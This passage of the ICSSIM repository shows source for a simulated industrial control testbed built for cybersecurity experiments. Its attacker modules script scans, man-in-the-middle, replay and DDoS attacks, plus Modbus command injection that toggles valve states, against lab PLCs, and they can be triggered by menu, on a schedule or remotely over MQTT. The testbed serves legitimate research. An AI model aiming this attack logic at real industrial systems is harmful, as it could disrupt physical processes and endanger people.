Dehlaghi Ghadim' 16 | release = '0.1' 17 | 18 | 19 | # -- General configuration --------------------------------------------------- 20 | # https://www.sphinx-doc.org/en/master/usage/configuration.html#general-configuration 21 | 22 | extensions = ['myst_parser', "sphinx.ext.autodoc"] 23 | 24 | templates_path = ['_templates'] 25 | exclude_patterns = ['_build', 'Thumbs.db', '.DS_Store'] 26 | autoclass_content = 'both' 27 | 28 | 29 | # -- Options for HTML output ------------------------------------------------- 30 | # https://www.sphinx-doc.org/en/master/usage/configuration.html#options-for-html-output 31 | 32 | html_theme = 'sphinx_rtd_theme' 33 | html_static_path = ['_static'] 34 | -------------------------------------------------------------------------------- /doc/example.py: -------------------------------------------------------------------------------- 1 | def multiply(a: float, b: float) -> float: 2 | """ 3 | Multiply two numbers. 4 | 5 | :param a: First number. 6 | :param b: Second number. 7 | :return: The product of a and b. 8 | """ 9 | return a * b 10 | 11 | def print_all(): 12 | """ 13 | it print every thing 14 | 15 | :return: The product of a and b. 16 | """ 17 | 18 | print ("Hi") 19 | return "Hi" 20 | 21 | 22 | print_all() -------------------------------------------------------------------------------- /doc/icssim.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/doc/icssim.md -------------------------------------------------------------------------------- /doc/index.rst: -------------------------------------------------------------------------------- 1 | .. Example documentation master file, created by 2 | sphinx-quickstart on Sat Sep 23 20:35:12 2023. 3 | You can adapt this file completely to your liking, but it should at least 4 | contain the root `toctree` directive. 5 | 6 | Welcome to ICSSIM's documentation! 7 | =================================== 8 | 9 | .. toctree:: 10 | :maxdepth: 2 11 | :caption: Contents: 12 | 13 | readme-copy.md 14 | api.md 15 | -------------------------------------------------------------------------------- /doc/make.bat: -------------------------------------------------------------------------------- 1 | @ECHO OFF 2 | 3 | pushd %~dp0 4 | 5 | REM Command file for Sphinx documentation 6 | 7 | if "%SPHINXBUILD%" == "" ( 8 | set SPHINXBUILD=sphinx-build 9 | ) 10 | set SOURCEDIR=. 11 | set BUILDDIR=_build 12 | 13 | %SPHINXBUILD% >NUL 2>NUL 14 | if errorlevel 9009 ( 15 | echo. 16 | echo.The 'sphinx-build' command was not found. Make sure you have Sphinx 17 | echo.installed, then set the SPHINXBUILD environment variable to point 18 | echo.to the full path of the 'sphinx-build' executable. Alternatively you 19 | echo.may add the Sphinx directory to PATH. 20 | echo. 21 | echo.If you don't have Sphinx installed, grab it from 22 | echo.https://www.sphinx-doc.org/ 23 | exit /b 1 24 | ) 25 | 26 | if "%1" == "" goto help 27 | 28 | %SPHINXBUILD% -M %1 %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 29 | goto end 30 | 31 | :help 32 | %SPHINXBUILD% -M help %SOURCEDIR% %BUILDDIR% %SPHINXOPTS% %O% 33 | 34 | :end 35 | popd 36 | -------------------------------------------------------------------------------- /doc/readme-copy.md: -------------------------------------------------------------------------------- 1 | # ICSSIM 2 | This is the ICSSIM source code and user manual for simulating industrial control system testbed for cybersecurity experiments. 3 | 4 | Complete version of readme file is [here](https://github.com/AlirezaDehlaghi/ICSSIM)! -------------------------------------------------------------------------------- /doc/sample.md: -------------------------------------------------------------------------------- https://raw.githubusercontent.com/AlirezaDehlaghi/ICSSIM/bcfd1844d3f063850c69f2643f6a052bac03d8ec/doc/sample.md -------------------------------------------------------------------------------- /doc/some-feature.md: -------------------------------------------------------------------------------- 1 | # Some feature 2 | 3 | ## Subsection 4 | 5 | (Under Construction) 6 | 7 | Exciting documentation for ICSSIM will be here. 8 | 9 | - item 1 10 | 11 | - nested item 1 12 | - nested item 2 13 | 14 | - item 2 15 | - item 3 16 | -------------------------------------------------------------------------------- /src/.Configs.py.swp: -------------------------------------------------------------------------------- 1 | b0nano 4.8:root47a89fd1fcc8Configs.py -------------------------------------------------------------------------------- /src/.idea/.gitignore: -------------------------------------------------------------------------------- 1 | # Default ignored files 2 | /shelf/ 3 | /workspace.xml 4 | -------------------------------------------------------------------------------- /src/.idea/inspectionProfiles/profiles_settings.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 6 | -------------------------------------------------------------------------------- /src/.idea/misc.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | -------------------------------------------------------------------------------- /src/.idea/modules.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /src/.idea/src.iml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | 8 | -------------------------------------------------------------------------------- /src/.idea/vcs.xml: -------------------------------------------------------------------------------- 1 | 2 | 3 | 4 | 5 | 6 | 7 | -------------------------------------------------------------------------------- /src/Attacker.py: -------------------------------------------------------------------------------- 1 | import os 2 | from AttackerBase import AttackerBase 3 | 4 | 5 | class Attacker(AttackerBase): 6 | def __init__(self): 7 | AttackerBase.__init__(self, 'attacker') 8 | 9 | def __get_menu_line(self, template, number, text): 10 | return template.format( 11 | self._make_text(str(number)+')', self.COLOR_BLUE), 12 | self._make_text(text, self.COLOR_YELLOW), 13 | self._make_text(str(number), self.COLOR_BLUE) 14 | ) 15 | 16 | def __create_menu(self): 17 | menu = "\n" + self.__get_menu_line('{} to {} press {} \n', 0, 'clear') 18 | i = 0 19 | for attack in self.attack_list.keys(): 20 | i += 1 21 | menu += self.__get_menu_line('{} To apply the {} attack press {} \n', i, attack) 22 | 23 | return menu 24 | 25 | def _logic(self): 26 | self.report(self.__create_menu()) 27 | attack_cnt = len(self.attack_list) 28 | 29 | try: 30 | attack_name = int(input('your choice (1 to {}): '.format(attack_cnt))) 31 | 32 | if int(attack_name) == 0: 33 | os.system('clear') 34 | return 35 | 36 | if 0 < attack_name <= attack_cnt: 37 | attack_name = list(self.attack_list.keys())[attack_name-1] 38 | 39 | self._apply_attack(attack_name) 40 | 41 | except ValueError as e: 42 | self.report(e.__str__()) 43 | 44 | except Exception as e: 45 | self.report('The input is invalid ' + e.__str__()) 46 | 47 | input('press inter to continue ...') 48 | 49 | 50 | if __name__ == '__main__': 51 | attacker = Attacker() 52 | attacker.start() 53 | -------------------------------------------------------------------------------- /src/AttackerBase.py: -------------------------------------------------------------------------------- 1 | import os 2 | from abc import ABC 3 | from time import sleep 4 | 5 | from scapy.arch import get_if_addr 6 | from scapy.config import conf 7 | from scapy.layers.l2 import Ether 8 | from datetime import datetime, timedelta 9 | from ics_sim.Device import Runnable 10 | import logging 11 | import subprocess 12 | 13 | from ics_sim.Attacks import _do_scan_scapy_attack, _do_replay_scapy_attack, _do_mitm_scapy_attack, \ 14 | _do_scan_nmap_attack, _do_command_injection_attack, _do_ddos_attack 15 | 16 | 17 | class AttackerBase(Runnable, ABC): 18 | 19 | NAME_ATTACK_SCAN_MMAP = 'scan-nmap' 20 | NAME_ATTACK_SCAN_SCAPY = 'scan-scapy' 21 | NAME_ATTACK_MITM_SCAPY = 'mitm-scapy' 22 | NAME_ATTACK_REPLY_SCAPY = 'replay-scapy' 23 | NAME_ATTACK_DDOS = 'ddos' 24 | NAME_ATTACK_COMMAND_INJECTION = 'command-injection' 25 | 26 | def __init__(self, name1): 27 | super().__init__(name1, 100) 28 | 29 | self.log_path = os.path.join('.', 'logs', 'attack-logs') 30 | if not os.path.exists(self.log_path): 31 | os.makedirs(self.log_path) 32 | 33 | self.MAC = Ether().src 34 | self.IP = get_if_addr(conf.iface) 35 | 36 | self.attack_history = self.get_history_logger() 37 | 38 | self.attack_list = { 39 | # 'scan-ettercap': 'ip-scan', 40 | # 'scan-ping': 'ip-scan', 41 | AttackerBase.NAME_ATTACK_SCAN_MMAP: 'port-scan', 42 | AttackerBase.NAME_ATTACK_SCAN_SCAPY: 'ip-scan', 43 | AttackerBase.NAME_ATTACK_MITM_SCAPY: 'mitm', 44 | # 'mitm-ettercap': 'mitm', 45 | AttackerBase.NAME_ATTACK_DDOS: 'ddos', 46 | AttackerBase.NAME_ATTACK_REPLY_SCAPY: 'replay', 47 | AttackerBase.NAME_ATTACK_COMMAND_INJECTION: 'command-injection'} 48 | 49 | def get_history_logger(self): 50 | attack_history = self.setup_logger( 51 | f'{self.name()}_summary', 52 | logging.Formatter('%(message)s'), 53 | file_dir=self.log_path, 54 | file_ext='.csv' 55 | ) 56 | 57 | attack_history.info( 58 | "{},{},{},{},{},{},{},{}" 59 | .format("attack", "startStamp", "endStamp", "startTime", "endTime", "attackerMAC", "attackerIP", 60 | "description") 61 | ) 62 | 63 | return attack_history 64 | 65 | def _apply_attack(self, name): 66 | if name == AttackerBase.NAME_ATTACK_SCAN_SCAPY: 67 | self._scan_scapy_attack() 68 | 69 | elif name == AttackerBase.NAME_ATTACK_REPLY_SCAPY: 70 | self._replay_scapy_attack() 71 | 72 | elif name == AttackerBase.NAME_ATTACK_MITM_SCAPY: 73 | self._mitm_scapy_attack() 74 | 75 | elif name == AttackerBase.NAME_ATTACK_SCAN_MMAP: 76 | self._scan_nmap_attack() 77 | 78 | elif name == AttackerBase.NAME_ATTACK_COMMAND_INJECTION: 79 | self._command_injection_attack() 80 | 81 | elif name == AttackerBase.NAME_ATTACK_DDOS: 82 | self._ddos_attack() 83 | else: 84 | self.report('Attack not found!') 85 | 86 | def _scan_scapy_attack(self, target='192.168.0.1/24', timeout=10): 87 | name = AttackerBase.NAME_ATTACK_SCAN_SCAPY 88 | log_file = os.path.join(self.log_path, f'log-{name}.txt') 89 | 90 | start = datetime.now() 91 | _do_scan_scapy_attack(log_dir=self.log_path, log_file=log_file, target=target, timeout=timeout) 92 | end = datetime.now() 93 | 94 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5) 95 | 96 | def _replay_scapy_attack(self, timeout=15, replay_count=3, target='192.168.0.11,192.168.0.22'): 97 | name = AttackerBase.NAME_ATTACK_REPLY_SCAPY 98 | log_file = os.path.join(self.log_path, f'log-{name}.txt') 99 | 100 | start = datetime.now() 101 | _do_replay_scapy_attack(log_dir=self.log_path, log_file=log_file, timeout=timeout, replay_count=replay_count, 102 | target=target) 103 | end = datetime.now() 104 | 105 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5) 106 | 107 | def _mitm_scapy_attack(self, timeout=30, noise=0.1, target='192.168.0.1/24'): 108 | name = AttackerBase.NAME_ATTACK_MITM_SCAPY 109 | log_file = os.path.join(self.log_path, f'log-{name}.txt') 110 | start = datetime.now() 111 | 112 | # _do_mitm_scapy_attack(log_dir, log_file, timeout=15, noise=0.2, destination='192.168.0.11,192.168.0.21') 113 | _do_mitm_scapy_attack(log_dir=self.log_path, log_file=log_file, timeout=timeout, noise=noise, target=target) 114 | 115 | end = datetime.now() 116 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5) 117 | 118 | def _scan_nmap_attack(self, target='192.168.0.1-255'): 119 | name = AttackerBase.NAME_ATTACK_SCAN_MMAP 120 | log_file = os.path.join(self.log_path, f'log-{name}.txt') 121 | start = datetime.now() 122 | 123 | _do_scan_nmap_attack(log_dir=self.log_path, log_file=log_file, target=target) 124 | 125 | end = datetime.now() 126 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5) 127 | 128 | def _command_injection_attack(self, command_injection_agent='CommandInjectionAgent.py', command_counter=30): 129 | name = AttackerBase.NAME_ATTACK_COMMAND_INJECTION 130 | log_file = os.path.join(self.log_path, f'log-{name}.txt') 131 | start = datetime.now() 132 | 133 | _do_command_injection_attack(log_dir=self.log_path, log_file=log_file, 134 | command_injection_agent=command_injection_agent, command_counter=command_counter) 135 | 136 | end = datetime.now() 137 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5) 138 | 139 | def _ddos_attack(self, ddos_agent_path='DDosAgent.py', timeout=60, num_process=10, target='192.168.0.11'): 140 | name = AttackerBase.NAME_ATTACK_DDOS 141 | log_file = os.path.join(self.log_path, f'log-{name}.txt') 142 | start = datetime.now() 143 | 144 | _do_ddos_attack(log_dir=self.log_path, log_file=log_file, ddos_agent_path=ddos_agent_path, timeout=timeout, 145 | num_process=num_process, target=target) 146 | 147 | end = datetime.now() 148 | start = start + timedelta(seconds=5) 149 | self._post_apply_attack(attack_name=name, start_time=start, end_time=end, post_wait_time=5) 150 | 151 | def _post_apply_attack(self, attack_name, start_time, end_time, post_wait_time): 152 | self.attack_history.info( 153 | "{},{},{},{},{},{},{},{}".format( 154 | self.attack_list[attack_name] 155 | , start_time.timestamp(), end_time.timestamp(), start_time, end_time, self.MAC, self.IP, 156 | attack_name 157 | ) 158 | ) 159 | self.report(f'applied {attack_name} attack successfully.') 160 | self.report(f'waiting {post_wait_time} seconds to cooldown attack.') 161 | sleep(post_wait_time) 162 | -------------------------------------------------------------------------------- /src/AttackerMachine.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import random 4 | import subprocess 5 | from datetime import datetime, timedelta 6 | from time import sleep 7 | 8 | from AttackerBase import AttackerBase 9 | 10 | 11 | class AttackerMachine(AttackerBase): 12 | def __init__(self): 13 | AttackerBase.__init__(self, 'attacker_machine') 14 | 15 | def _before_start(self): 16 | AttackerBase._before_start(self) 17 | 18 | self.__attack_scenario = [] 19 | self.__attack_scenario += ['scan-ettercap'] * 0 # this should be 0, cannot automate 20 | self.__attack_scenario += ['scan-ping'] * 0 21 | self.__attack_scenario += ['scan-nmap'] * 16 22 | self.__attack_scenario += ['scan-scapy'] * 21 23 | self.__attack_scenario += ['mitm-scapy'] * 14 24 | self.__attack_scenario += ['mitm-ettercap'] * 0 25 | self.__attack_scenario += ['ddos'] * 7 26 | self.__attack_scenario += ['replay-scapy'] * 7 27 | 28 | random.shuffle(self.__attack_scenario) 29 | 30 | 31 | def _logic(self): 32 | while True: 33 | response = input("Do you want to start attacks? \n") 34 | response = response.lower() 35 | if response == 'y' or response == 'yes': 36 | self._set_clear_scr(False) 37 | break 38 | else: 39 | continue 40 | 41 | self.report('Attacker Machine start to apply {} attacks'.format(len(self.__attack_scenario))) 42 | self.__status_board = {} 43 | 44 | for attack_name in self.__attack_scenario: 45 | try: 46 | self._apply_attack(attack_name) 47 | 48 | if not self.__status_board.keys().__contains__(attack_name): 49 | self.__status_board[attack_name] = 0 50 | self.__status_board[attack_name] += 1 51 | 52 | for attack in self.__status_board.keys(): 53 | text = '{}: applied {} times'.format(attack, self.__status_board[attack]) 54 | self.report(self._make_text(text, self.COLOR_GREEN)) 55 | 56 | except ValueError as e: 57 | self.report(e.__str__()) 58 | 59 | except Exception as e: 60 | self.report('The input is invalid ' + e.__str__()) 61 | 62 | input('press inter to continue ...') 63 | 64 | 65 | if __name__ == '__main__': 66 | attackerMachine = AttackerMachine() 67 | attackerMachine.start() 68 | -------------------------------------------------------------------------------- /src/AttackerRemote.py: -------------------------------------------------------------------------------- 1 | import json 2 | import logging 3 | import os 4 | import threading 5 | import time 6 | import paho.mqtt.client as mqtt 7 | from AttackerBase import AttackerBase 8 | from MqttHelper import read_mqtt_params 9 | import queue 10 | 11 | from ics_sim.Device import Runnable 12 | 13 | 14 | class AttackerRemote(AttackerBase): 15 | 16 | def __init__(self): 17 | AttackerBase.__init__(self, 'attacker_remote') 18 | 19 | self.remote_connection_file = '' 20 | self.enabled = False 21 | self.applying_attack = False 22 | self.mqtt_thread = False 23 | 24 | self.attacksQueue = queue.Queue() 25 | self.client = mqtt.Client(mqtt.CallbackAPIVersion.VERSION1) 26 | 27 | def _logic(self): 28 | 29 | if not self.enabled: 30 | self.__try_enable() 31 | elif not self.attacksQueue.empty(): 32 | self.process_messages(self.attacksQueue.get()) 33 | else: 34 | time.sleep(2) 35 | 36 | def __try_enable(self): 37 | 38 | sample = "" 39 | 40 | with open("MQTTSampleConnection.txt", 'r') as file: 41 | sample = self._make_text(file.read(), Runnable.COLOR_GREEN) 42 | 43 | message = f""" 44 | To enable attacker remote please provide a MQTT connection file contain required data for connection. 45 | The connection file sample is: 46 | {sample} 47 | 48 | (current dir: {os.getcwd()}) 49 | Connection file address: 50 | """ 51 | 52 | response = input(message) 53 | 54 | if not os.path.exists(response): 55 | self.report(f'Connection file not found({response})!', logging.ERROR) 56 | return 57 | 58 | connection_params = read_mqtt_params(response) 59 | if not all(key in connection_params for key in ["type", "address", "port", "topic"]): 60 | self.report(f'Connection file ({self.remote_connection_file}) is in wrong format. Not found correct keys!', 61 | logging.ERROR) 62 | return 63 | 64 | for value in connection_params.values(): 65 | if str(value).startswith("<") or str(value).endswith(">"): 66 | self.report( 67 | f'Connection file ({self.remote_connection_file}) is in wrong format. Not found correct values!', 68 | logging.ERROR) 69 | return 70 | 71 | self.remote_connection_file = response 72 | 73 | new_msg = "connection file compiled! with following params:\n" 74 | for key, value in connection_params.items(): 75 | new_msg += f'{key}: {value}\n' 76 | 77 | new_msg = Runnable._make_text(new_msg, Runnable.COLOR_YELLOW) 78 | 79 | self.report(new_msg) 80 | 81 | self.mqtt_thread = threading.Thread(target=self.setup_mqtt_client) 82 | self.mqtt_thread.start() 83 | self.enabled = True 84 | 85 | def setup_mqtt_client(self): 86 | connection_params = read_mqtt_params(self.remote_connection_file) 87 | connection_params['topic'] = connection_params['topic'] + '/#' 88 | 89 | if connection_params.keys().__contains__('username') and connection_params.keys().__contains__('password'): 90 | print('password') 91 | username = connection_params['username'] 92 | password = connection_params['password'] 93 | self.client.username_pw_set(username, password) 94 | 95 | # Set up callback functions 96 | self.client.on_subscribe = self.on_subscribe 97 | self.client.on_message = self.on_message 98 | 99 | self.client.connect(connection_params['address'], int(connection_params['port'])) 100 | self.client.subscribe(connection_params['topic'], qos=1) 101 | self.client.loop_forever() 102 | 103 | def on_subscribe(self, client, userdata, mid, granted_qos): 104 | self.report("Subscribed: " + str(mid) + " " + str(granted_qos), level=logging.INFO) 105 | 106 | def on_message(self, client, userdata, msg): 107 | self.report(msg.topic + " " + str(msg.qos) + " " + str(msg.payload), level=logging.INFO) 108 | if self.applying_attack: 109 | self.report(f'Discard applying attack ({str(msg.payload)}) since already applying an attack.') 110 | else: 111 | self.attacksQueue.put(msg) 112 | 113 | 114 | 115 | 116 | def process_messages(self, msg): 117 | self.applying_attack = True 118 | 119 | try: 120 | msg = json.loads(msg.payload.decode("utf-8")) 121 | self.report(f'Start processing incoming message: ({msg})', level=logging.INFO) 122 | attack = self.find_tag_in_msg(msg, 'attack') 123 | 124 | if attack == 'ip-scan': 125 | self._scan_scapy_attack() 126 | 127 | elif attack == 'ddos': 128 | timeout = self.find_tag_in_msg(msg, 'timeout') 129 | target = self.find_tag_in_msg(msg, 'target') 130 | target = self.find_device_address(target) 131 | self._ddos_attack(timeout=timeout, target=target, num_process=5) 132 | 133 | elif attack == 'port-scan': 134 | self._scan_nmap_attack() 135 | 136 | elif attack == 'mitm': 137 | mode = self.find_tag_in_msg(msg, 'mode') 138 | timeout = self.find_tag_in_msg(msg, 'timeout') 139 | target = '192.168.0.1/24' 140 | if mode.lower() == 'link': 141 | target_1 = self.find_tag_in_msg(msg, 'target1') 142 | target_2 = self.find_tag_in_msg(msg, 'target2') 143 | target = self.find_device_address(target_1) + "," + self.find_device_address(target_2) 144 | self._mitm_scapy_attack(target=target, timeout=timeout) 145 | 146 | elif attack == 'replay': 147 | mode = self.find_tag_in_msg(msg, 'mode') 148 | timeout = self.find_tag_in_msg(msg, 'timeout') 149 | target = '192.168.0.1/24' 150 | replay = self.find_tag_in_msg(msg, 'replay') 151 | if mode.lower() == 'link': 152 | target_1 = self.find_tag_in_msg(msg, 'target1') 153 | target_2 = self.find_tag_in_msg(msg, 'target2') 154 | target = self.find_device_address(target_1) + "," + self.find_device_address(target_2) 155 | self._replay_scapy_attack(target=target, timeout=timeout, replay_count=replay) 156 | 157 | else: 158 | raise Exception(f"attack type: ({attack}) is not recognized!") 159 | except Exception as e: 160 | self.report(e.__str__()) 161 | 162 | self.applying_attack = False 163 | 164 | 165 | @staticmethod 166 | def find_tag_in_msg(msg, tag): 167 | if not msg.keys().__contains__(tag): 168 | raise Exception(f'Cannot find tag name: ({tag}) in message!') 169 | return msg[tag] 170 | 171 | @staticmethod 172 | def find_device_address(device_name): 173 | if device_name.lower() == 'plc1': 174 | return '192.168.0.11' 175 | elif device_name.lower() == 'plc2': 176 | return '192.168.0.12' 177 | 178 | elif device_name.lower() == 'hmi1': 179 | return '192.168.0.21' 180 | 181 | elif device_name.lower() == 'hmi2': 182 | return '192.168.0.22' 183 | else: 184 | raise Exception(f'target:({device_name}) is not recognized!') 185 | 186 | 187 | if __name__ == '__main__': 188 | attackerRemote = AttackerRemote() 189 | attackerRemote.start() 190 | -------------------------------------------------------------------------------- /src/CommandInjectionAgent.py: -------------------------------------------------------------------------------- 1 | import logging 2 | import os 3 | import random 4 | import sys 5 | from datetime import datetime 6 | from time import sleep 7 | 8 | from ics_sim.Device import HMI 9 | from Configs import TAG, Controllers 10 | import Configs 11 | 12 | 13 | class CommandInjectionAgent(HMI): 14 | def __init__(self, name , period , destination): 15 | super().__init__(name, TAG.TAG_LIST, Controllers.PLCs, period) 16 | self.destination= destination 17 | 18 | def _before_start(self): 19 | self._set_clear_scr(False) 20 | self.time = datetime.now().timestamp() 21 | self.period = 0 22 | def _logic(self): 23 | 24 | if datetime.now().timestamp() > self.time + self.period : 25 | value =int( self._receive(self.destination)) 26 | if int(value) == 1: 27 | value = 0 28 | elif int(value) ==0: 29 | value = 1 30 | 31 | self._send(self.destination, value) 32 | self.report( 'on time {} ({}) Signal {} changed to {}'.format( datetime.now(), datetime.now().timestamp(), destinations, value)) 33 | self.period = random.randint(2, 8) 34 | self.time = datetime.now().timestamp() 35 | 36 | 37 | 38 | 39 | 40 | 41 | if __name__ == '__main__': 42 | period = 0 43 | destinations = '' 44 | if len(sys.argv) > 0: 45 | period = int(sys.argv[1]) 46 | 47 | attacker_list = [] 48 | attacker_list.append(CommandInjectionAgent('AgentInputValve', 1, Configs.TAG.TAG_TANK_INPUT_VALVE_STATUS)) 49 | #attacker_list.append(CommandInjectionAgent('AgentOutputValve', 1, Configs.TAG.TAG_TANK_OUTPUT_VALVE_STATUS)) 50 | #attacker_list.append(CommandInjectionAgent('AgentConveyorBelt', 1, Configs.TAG.TAG_CONVEYOR_BELT_ENGINE_STATUS)) 51 | 52 | for attacker in attacker_list: 53 | attacker.start() 54 | 55 | sleep(period) 56 | 57 | for attacker in attacker_list: 58 | attacker.stop() 59 | 60 | 61 | 62 | -------------------------------------------------------------------------------- /src/Configs.py: -------------------------------------------------------------------------------- 1 | class SimulationConfig: 2 | # Constants 3 | EXECUTION_MODE_LOCAL = 'local' 4 | EXECUTION_MODE_DOCKER = 'docker' 5 | EXECUTION_MODE_GNS3 = 'gns3' 6 | 7 | # configurable 8 | EXECUTION_MODE = EXECUTION_MODE_DOCKER 9 | 10 | 11 | 12 | class PHYSICS: 13 | TANK_LEVEL_CAPACITY = 3 # Liter 14 | TANK_MAX_LEVEL = 10 15 | TANK_INPUT_FLOW_RATE = 0.0002 # Liter/mil-second 16 | TANK_OUTPUT_FLOW_RATE = 0.0001 # Liter/mil-second 17 | 18 | BOTTLE_LEVEL_CAPACITY = 0.75 # Liter 19 | BOTTLE_MAX_LEVEL = 2 20 | BOTTLE_DISTANCE = 20 # Centimeter 21 | 22 | CONVEYOR_BELT_SPEED = 0.005 # Centimeter/mil-second 23 | 24 | 25 | class TAG: 26 | TAG_TANK_INPUT_VALVE_STATUS = 'tank_input_valve_status' 27 | TAG_TANK_INPUT_VALVE_MODE = 'tank_input_valve_mode' 28 | 29 | TAG_TANK_LEVEL_VALUE = 'tank_level_value' 30 | TAG_TANK_LEVEL_MAX = 'tank_level_max' 31 | TAG_TANK_LEVEL_MIN = 'tank_level_min' 32 | 33 | TAG_TANK_OUTPUT_VALVE_STATUS = 'tank_output_valve_status' 34 | TAG_TANK_OUTPUT_VALVE_MODE = 'tank_output_valve_mode' 35 | 36 | TAG_TANK_OUTPUT_FLOW_VALUE = 'tank_output_flow_value' 37 | 38 | TAG_CONVEYOR_BELT_ENGINE_STATUS= 'conveyor_belt_engine_status' 39 | TAG_CONVEYOR_BELT_ENGINE_MODE = 'conveyor_belt_engine_mode' 40 | 41 | TAG_BOTTLE_LEVEL_VALUE = 'bottle_level_value' 42 | TAG_BOTTLE_LEVEL_MAX = 'bottle_level_max' 43 | 44 | TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE = 'bottle_distance_to_filler_value' 45 | 46 | TAG_LIST = { 47 | # tag_name (tag_id, PLC number, input/output, fault (just for inputs) 48 | TAG_TANK_INPUT_VALVE_STATUS: {'id': 0, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 1}, 49 | TAG_TANK_INPUT_VALVE_MODE: {'id': 1, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 3}, 50 | 51 | TAG_TANK_LEVEL_VALUE: {'id': 2, 'plc': 1, 'type': 'input', 'fault': 0.0, 'default': 5.8}, 52 | TAG_TANK_LEVEL_MIN: {'id': 3, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 3}, 53 | TAG_TANK_LEVEL_MAX: {'id': 4, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 7}, 54 | 55 | 56 | TAG_TANK_OUTPUT_VALVE_STATUS: {'id': 5, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 0}, 57 | TAG_TANK_OUTPUT_VALVE_MODE: {'id': 6, 'plc': 1, 'type': 'output', 'fault': 0.0, 'default': 3}, 58 | 59 | TAG_TANK_OUTPUT_FLOW_VALUE: {'id': 7, 'plc': 1, 'type': 'input', 'fault': 0.0, 'default': 0}, 60 | 61 | TAG_CONVEYOR_BELT_ENGINE_STATUS: {'id': 8, 'plc': 2, 'type': 'output', 'fault': 0.0, 'default': 0}, 62 | TAG_CONVEYOR_BELT_ENGINE_MODE: {'id': 9, 'plc': 2, 'type': 'output', 'fault': 0.0, 'default': 3}, 63 | 64 | TAG_BOTTLE_LEVEL_VALUE: {'id': 10, 'plc': 2, 'type': 'input', 'fault': 0.0, 'default': 0}, 65 | TAG_BOTTLE_LEVEL_MAX: {'id': 11, 'plc': 2, 'type': 'output', 'fault': 0.0, 'default': 1.8}, 66 | 67 | TAG_BOTTLE_DISTANCE_TO_FILLER_VALUE: {'id': 12, 'plc': 2, 'type': 'input', 'fault': 0.0, 'default': 0}, 68 | } 69 | 70 | 71 | class Controllers: 72 | PLC_CONFIG = { 73 | SimulationConfig.EXECUTION_MODE_DOCKER: { 74 | 1: { 75 | 'name': 'PLC1', 76 | 'ip': '192.168.0.11', 77 | 'port': 502, 78 | 'protocol': 'ModbusWriteRequest-TCP' 79 | }, 80 | 2: { 81 | 'name': 'PLC2', 82 | 'ip': '192.168.0.12', 83 | 'port': 502, 84 | 'protocol': 'ModbusWriteRequest-TCP' 85 | }, 86 | }, 87 | SimulationConfig.EXECUTION_MODE_GNS3: { 88 | 1: { 89 | 'name': 'PLC1', 90 | 'ip': '192.168.0.11', 91 | 'port': 502, 92 | 'protocol': 'ModbusWriteRequest-TCP' 93 | }, 94 | 2: { 95 | 'name': 'PLC2', 96 | 'ip': '192.168.0.12', 97 | 'port': 502, 98 | 'protocol': 'ModbusWriteRequest-TCP' 99 | }, 100 | }, 101 | SimulationConfig.EXECUTION_MODE_LOCAL: { 102 | 1: { 103 | 'name': 'PLC1', 104 | 'ip': '127.0.0.1', 105 | 'port': 5502, 106 | 'protocol': 'ModbusWriteRequest-TCP' 107 | }, 108 | 2: { 109 | 'name': 'PLC2', 110 | 'ip': '127.0.0.1', 111 | 'port': 5503, 112 | 'protocol': 'ModbusWriteRequest-TCP' 113 | }, 114 | } 115 | } 116 | 117 | PLCs = PLC_CONFIG[SimulationConfig.EXECUTION_MODE] 118 | 119 | 120 | class Connection: 121 | SQLITE_CONNECTION = { 122 | 'type': 'sqlite', 123 | 'path': 'storage/PhysicalSimulation1.sqlite', 124 | 'name': 'fp_table', 125 | } 126 | MEMCACHE_DOCKER_CONNECTION = { 127 | 'type': 'memcache', 128 | 'path': '192.168.1.31:11211', 129 | 'name': 'fp_table', 130 | } 131 | MEMCACHE_LOCAL_CONNECTION = { 132 | 'type': 'memcache', 133 | 'path': '127.0.0.1:11211', 134 | 'name': 'fp_table', 135 | } 136 | File_CONNECTION = { 137 | 'type': 'file', 138 | 'path': 'storage/sensors_actuators.json', 139 | 'name': 'fake_name', 140 | } 141 | 142 | CONNECTION_CONFIG = { 143 | SimulationConfig.EXECUTION_MODE_GNS3: MEMCACHE_DOCKER_CONNECTION, 144 | SimulationConfig.EXECUTION_MODE_DOCKER: SQLITE_CONNECTION, #todo : return back to sqlite connection 145 | SimulationConfig.EXECUTION_MODE_LOCAL: SQLITE_CONNECTION 146 | } 147 | CONNECTION = CONNECTION_CONFIG[SimulationConfig.EXECUTION_MODE] 148 | 149 | -------------------------------------------------------------------------------- /src/DDosAgent.py: -------------------------------------------------------------------------------- 1 | import argparse 2 | import logging 3 | import os 4 | import random 5 | 6 | from time import sleep 7 | from ics_sim.Device import HMI, Runnable 8 | from Configs import TAG, Controllers 9 | 10 | 11 | class DDosAgent(HMI): 12 | max = 0 13 | 14 | def __init__(self, name, target_ip, shared_logger): 15 | 16 | # initialize members 17 | self.__shared_logger = shared_logger 18 | super().__init__(name, TAG.TAG_LIST, Controllers.PLCs, 1) 19 | self.__target_ip = target_ip 20 | 21 | # select target signal for attack based on input target_ip 22 | target_plc = [plc_id for plc_id, plc_data in Controllers.PLCs.items() if plc_data["ip"] == target_ip] 23 | possible_signals = [tag_name for tag_name, tag_data in TAG.TAG_LIST.items() if tag_data["plc"] in target_plc] 24 | self.__target = random.choice(possible_signals) 25 | 26 | # set counter and chuck size 27 | self.__counter = 0 28 | self.chunk = 10 29 | 30 | def _before_start(self): 31 | 